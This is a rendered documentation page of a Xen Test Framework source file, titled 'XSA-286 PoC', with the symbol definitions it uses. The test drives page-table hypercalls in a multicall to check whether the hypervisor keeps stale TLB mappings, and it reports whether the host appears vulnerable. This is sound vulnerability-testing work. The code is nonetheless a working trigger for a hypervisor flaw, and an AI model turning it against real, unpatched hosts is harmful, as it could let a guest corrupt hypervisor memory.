Xen Test Framework
main.c
Go to the documentation of this file.
1
37#include <xtf.h>
38
39const char test_title[] = "XSA-286 PoC";
40
45
46void test_main(void)
47{
48 intpte_t *l3t;
49 unsigned int slot = 1;
50 int rc;
51
52 /* Walk pagetables to L3. */
53 if ( IS_DEFINED(CONFIG_64BIT) )
54 {
56
57 l3t = maddr_to_virt(pte_to_paddr(l4t[0]));
58 }
59 else
60 l3t = _p(pv_start_info->pt_base);
61
62 /*
63 * Prepare l*t*[]. Point each L2[0] at the appropriate L1, and pin the
64 * L2's to get all of the type reference handling in Xen out of the way.
65 */
66 l2t1[0] = pte_from_virt(l1t1, PF_SYM(AD, RW, P));
67 l2t2[0] = pte_from_virt(l1t2, PF_SYM(AD, RW, P));
68
70 _u(l1t1), pte_from_virt(l1t1, PF_SYM(AD, P)), 0) )
71 return xtf_error("Error: Can't remap l1t1 as R/O\n");
73 _u(l1t2), pte_from_virt(l1t2, PF_SYM(AD, P)), 0) )
74 return xtf_error("Error: Can't remap l1t2 as R/O\n");
76 _u(l2t1), pte_from_virt(l2t1, PF_SYM(AD, P)), 0) )
77 return xtf_error("Error: Can't remap l2t1 as R/O\n");
79 _u(l2t2), pte_from_virt(l2t2, PF_SYM(AD, P)), 0) )
80 return xtf_error("Error: Can't remap l2t2 as R/O\n");
81
82 mmuext_op_t mux[] = {
83 {
85 .arg1.mfn = virt_to_mfn(l2t1),
86 },
87 {
89 .arg1.mfn = virt_to_mfn(l2t2),
90 },
91 };
92
94 if ( rc )
95 return xtf_error("Error: Can't pin l2t*[]\n");
96
97 /*
98 * The test depends on retaining stale TLB mappings to spot the
99 * vulnerability. This can race with interrupt handling and rescheduling.
100 * Repeat it several times in quick succession.
101 */
102 for ( int i = 0; i < 15; ++i )
103 {
104 /* Reset. Map l2t1 into l3[slot], clear l1t{1,2}[0]. */
105 mmu_update_t mu[] = {
106 {
107 .ptr = virt_to_maddr(&l3t[slot]),
108 .val = pte_from_virt(l2t1, PF_SYM(AD, RW, P)),
109 },
110 {
111 .ptr = virt_to_maddr(&l1t1[0]),
112 .val = 0,
113 },
114 {
115 .ptr = virt_to_maddr(&l1t2[0]),
116 .val = 0,
117 },
118 };
119
121 if ( rc )
122 return xtf_error("Error: Can't reset mapping state: %d\n", rc);
123
124 unsigned long addr = slot << L3_PT_SHIFT;
125
126 /*
127 * Multicall comprising:
128 *
129 * - update_va_mapping(addr, 0, INLVPG)
130 * - mmu_update(&l3t[slot], l2t2)
131 * - update_va_mapping(addr, gfn0 | AD|WR|P, INLVPG)
132 */
133 mu[0].val = pte_from_virt(l2t2, PF_SYM(AD, RW, P));
134 intpte_t nl1e = pte_from_gfn(pfn_to_mfn(0), PF_SYM(AD, RW, P));
136 {
138 .args = {
139 addr,
140 0,
141#ifdef __i386__
142 0,
143#endif
145 },
146 },
147 {
149 .args = {
150 _u(mu),
151 1,
152 _u(NULL),
154 },
155 },
156 {
158 .args = {
159 addr,
160 (unsigned long)nl1e,
161#ifdef __i386__
162 nl1e >> 32,
163#endif
165 },
166 },
167 };
168
170 if ( rc )
171 return xtf_error("Error: multicall failed: %d\n", rc);
172
173 /*
174 * If Xen retained a stale TLB mapping, then l1t1[0] will have been
175 * edited, despite l1t2[0] being the correct entry to have editied.
176 */
177 if ( l1t1[0] )
178 return xtf_failure("Fail: Xen retained stale linear pt mapping\n");
179 }
180
181 xtf_success("Success: Probably not vulnerable to XSA-286\n");
182}
183
184/*
185 * Local variables:
186 * mode: C
187 * c-file-style: "BSD"
188 * c-basic-offset: 4
189 * tab-width: 4
190 * indent-tabs-mode: nil
191 * End:
192 */
xen_pv_start_info_t * pv_start_info
Definition: traps.c:14
#define __page_aligned_bss
Definition: compiler.h:37
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
static long hypercall_mmuext_op(const mmuext_op_t ops[], unsigned int count, unsigned int *done, unsigned int foreigndom)
Definition: hypercall.h:148
static long hypercall_multicall(struct multicall_entry *list, unsigned int nr)
Definition: hypercall.h:105
static long hypercall_mmu_update(const mmu_update_t reqs[], unsigned int count, unsigned int *done, unsigned int foreigndom)
Definition: hypercall.h:60
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition: hypercall.h:115
#define ARRAY_SIZE(a)
Definition: lib.h:8
#define IS_DEFINED(x)
Evalute whether the CONFIG_ token x is defined.
Definition: macro_magic.h:67
void * maddr_to_virt(uint64_t maddr)
unsigned long pfn_to_mfn(unsigned long pfn)
unsigned long virt_to_mfn(const void *va)
uint64_t virt_to_maddr(const void *va)
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define L2_PT_ENTRIES
Definition: page.h:70
#define L1_PT_ENTRIES
Definition: page.h:69
unsigned long intpte_t
Definition: page.h:152
intpte_t pte_from_gfn(unsigned long gfn, uint64_t flags)
intpte_t pte_from_virt(const void *va, uint64_t flags)
paddr_t pte_to_paddr(intpte_t pte)
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define NULL
Definition: stddef.h:12
uint64_t val
Definition: xen.h:250
uint64_t ptr
Definition: xen.h:249
Definition: xen.h:355
unsigned int cmd
Definition: xen.h:356
Definition: xen.h:263
unsigned long op
Definition: xen.h:264
unsigned long pt_base
Definition: xen.h:223
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
#define DOMID_SELF
Definition: xen.h:70
#define __HYPERVISOR_update_va_mapping
Definition: xen.h:27
#define MMUEXT_PIN_L2_TABLE
Definition: xen.h:334
#define __HYPERVISOR_mmu_update
Definition: xen.h:15
@ UVMF_INVLPG
Definition: xen.h:383
static multicall_entry_t multi[]
Definition: main.c:107
static intpte_t l2t1[L2_PT_ENTRIES]
Definition: main.c:43
static intpte_t l1t2[L1_PT_ENTRIES]
Definition: main.c:42
static intpte_t l1t1[L1_PT_ENTRIES]
Definition: main.c:41
static intpte_t l2t2[L2_PT_ENTRIES]
Definition: main.c:44